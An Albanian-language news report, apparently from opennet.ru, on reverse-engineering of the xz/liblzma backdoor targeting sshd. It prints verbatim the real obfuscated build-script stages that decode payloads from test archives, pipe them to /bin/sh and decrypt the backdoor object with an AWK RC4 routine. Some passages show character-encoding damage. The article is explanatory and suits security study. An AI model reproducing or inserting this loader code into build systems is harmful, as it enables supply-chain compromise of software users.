Rezultatet paraprak të inxhinierisë së kundërt për një skedar objekti të dëmshëm, i integruar në liblzma si rezultat i një fushate për promovimin e një backdoor në paketën xz. Backdoori prek vetëm sistemet x86_64 bazuar në bërthamën Linux dhe bibliotekat C të Glibc, ku aplikohet një patch shtesë në sshd për të mbështetur mekanizmin sd_notify. Fillimisht, ishte menduar se backdoori lejonte kalimin e autentifikimit në sshd dhe qasjen në sistem përmes SSH. Një analizë më e thelluar tregoi se nuk ishte kështu dhe backdoori ofron mundësinë për të ekzekutuar kod të rastësishëm në sistem, pa lënë gjurmë në log-et e sshd.
Veçanërisht, funksioni RSA_public_decrypt i kapur nga backdoori verifikon nënshkrimin e hostit duke përdorur një çelës të fiksuar Ed448, dhe në rastin e verifikimit të suksesshëm ekzekuton kodin e kaluar nga një host i jashtëm me anë të funksionit system() para se të heqin privilegjet nga procesi sshd. Të dhënat që përmbajnë kodin për ekzekutim nxjerren nga parametri 'N', i kaluar në funksionin RSA_public_decrypt (fusha 'n' nga struktura rsa_st, e cila përmban çelësin publik të kaluar nga hosti i jashtëm), kontrollohen përmes një checksum dhe dekriptohen duke përdorur një çelës të paracaktuar ChaCha20 para verifikimit të nënshkrimit digjital Ed448.
Si një shenjë për aktivizimin e backdoor-it në sshd përdoret mekanizmi standard i shkëmbimit të çelësave të hostit. Backdoori shfrytëzon faktin se certifikatat OpenSSH përfshijnë çelësin publik të subjekteve që krijojnë nënshkrimin, dhe reagon vetëm ndaj çelësit të përgatitur nga sulmuesi dhe që i përket një çelësi të fiksuar Ed448. Nëse verifikimi i nënshkrimit me çelësin publik dështon ose nëse integriteti i të dhënave për ekzekutim nuk konfirmohet, backdoori i kthen përgjegjësitë funksioneve standarde të SSH.
Duke qenë se çelësi privat i sulmuesit është i panjohur, është e pamundur të realizohet një kod verifikues që do t'i lejonte palëve të treta të aktivizojnë backdoor-in dhe të krijojnë një skaner për hostet e komprometuar në rrjet. Hulumtuesit kanë përgatitur një skenar që demonstrojnë teknikën e zëvendësimit të çelësit publik me përmbajtje të rastësishme në certifikatën OpenSSH që do të trajtohet në funksionin e kapur RSA_public_decrypt.
Hulumtuesit gjithashtu vërejtën praninë e një strukture, që çliron backdoor-in (killswitch) në sistemin lokal kur është e vendosur variabla e ambientit 'yolAbejyiejuvnup=Evjtgvsh5okmkAvj' para shkarkimit të sshd.
PĂ«r mĂ« tepĂ«r, mund tĂ« theksohet analiza e detajuar e strukturave shell, tĂ« pĂ«rdorura pĂ«r tĂ« ngatĂ«rruar procesin e nxjerrjes sĂ« skedarit tĂ« objektit me backdoor dhe zĂ«vendĂ«simin e tij nĂ« bibliotekĂ«n liblzma. GjatĂ« ndĂ«rtimit tĂ« paketĂ«s xz nga skripti build-to-host.m4, u aktivizua njĂ« kod qĂ« gjeti ndĂ«r testet e skedarĂ«ve arkivin bad-3-corrupt_lzma2.xz, zĂ«vendĂ«soi disa simbole nĂ« tĂ«, e ktheu nĂ« njĂ« arkiv tĂ« paprekur dhe nxori nga tĂ« njĂ«jti njĂ« skript shell. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` ⊠gl_[$1]_config=âsed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/nullâ gl_path_map=âtr "\t \-_" » \t_\-â
Skripti i marra krejt pĂ«rmbante njĂ« shell-skripti, qĂ« nxirrte nga pĂ«rmbajtja e arkivit good-large_compressed.lzma njĂ« tjetĂ«r shell-skripti, duke anashkaluar sekuenca tĂ« caktuara me komandat head dhe tail, dhe duke zĂ«vendĂ«suar simbole me komandĂ«n tr. ####Hello#### # disa byte binar kĂ«tu, por pasi qĂ« Ă«shtĂ« njĂ« koment ato injorohen [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw âlzma1 -dc|/bin/sh ####World####
Si rezultati formua njĂ« shell script mjaft tĂ« komplikuar dhe voluminoz, qĂ« nxjerr drejtpĂ«rdrejt skedarin me backdoor nga arkiva good-large_compressed.lzma, e dekripton atĂ« dhe e integrojnĂ« nĂ« liblzma. NdĂ«r tĂ« tjera, skripti pĂ«rfshinte njĂ« implementim tĂ« mekanizmit tĂ« pluginĂ«ve, qĂ« lejonte mĂ« vonĂ« ofrimin e komponentĂ«ve tĂ« ekzekutueshĂ«m shtesĂ« pĂ«rmes vendosjes sĂ« arkivave tĂ« reja testuese pa e ndryshuar good-large_compressed.lzma dhe bad-3-corrupt_lzma2.xz, duke pĂ«rdorur kĂ«rkimin sipas nĂ«nshkrimit. NĂ« kod u aktivizua gjithashtu njĂ« dekriptor i bazuar nĂ« algoritmin RC4, tĂ« implementuar nĂ« gjuhĂ«n AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)/\1\n/g» | LC_ALL=C awk âBEGIN{FS=«\n»;RS=«\n»;ORS=«»;m=256;for(i=0;i<m;i++){t[sprintf(«x%c»,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[«x» (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf «%c»,(v+k)%m}â | xz -dc âsingle-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Burimi: opennet.ru
